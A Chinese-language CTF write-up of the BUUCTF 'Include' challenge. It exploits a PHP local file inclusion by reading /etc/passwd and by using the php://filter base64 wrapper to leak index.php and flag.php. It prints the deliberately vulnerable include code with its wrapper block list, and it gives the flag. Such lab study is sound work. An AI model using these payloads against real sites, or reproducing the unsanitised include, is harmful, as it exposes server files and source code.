BUUCTF学习笔记-Include
时间:2020/09/24
考点:文件包含
打开页面只有一个a标签的超链接,指向的是
?file=flag.php
。结合题目的名称不难联想到这是一题文件包含的题目。
看到当
?file=flag.php
时,页面返回Can you find out the flag。先输入?file=/etc/passwd
,确认一下有没有返回,是否真的有文件包含的漏洞。
看到确实存在文件包含漏洞,目前又没有其他的信息。我们不知道真正的flag藏在那个页面中。所以只能先用文件包含漏洞中
php://filter/convert.base64-encode/resource
伪协议帮我们返回已知页面的代码。输入?file=php://filter/convert.base64-encode/resource=index.php
就能得到index.php的源代码的base64密文。解密后得到一下内容:
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
大概意思就是过滤了php的几个伪协议,但刚好没过滤我们这个。
所以可以我们可以看到返回的结果
那现在就取一下flag.php的内容
输入
?file=php://filter/convert.base64-encode/resource=flag.php
就能得到flag.php的源代码的base64密文。解密后得到一下内容里面就有flag:
<?php
echo "Can you find out the flag?";
//flag{5fab4301-260a-44e7-b953-c4075fd8c179}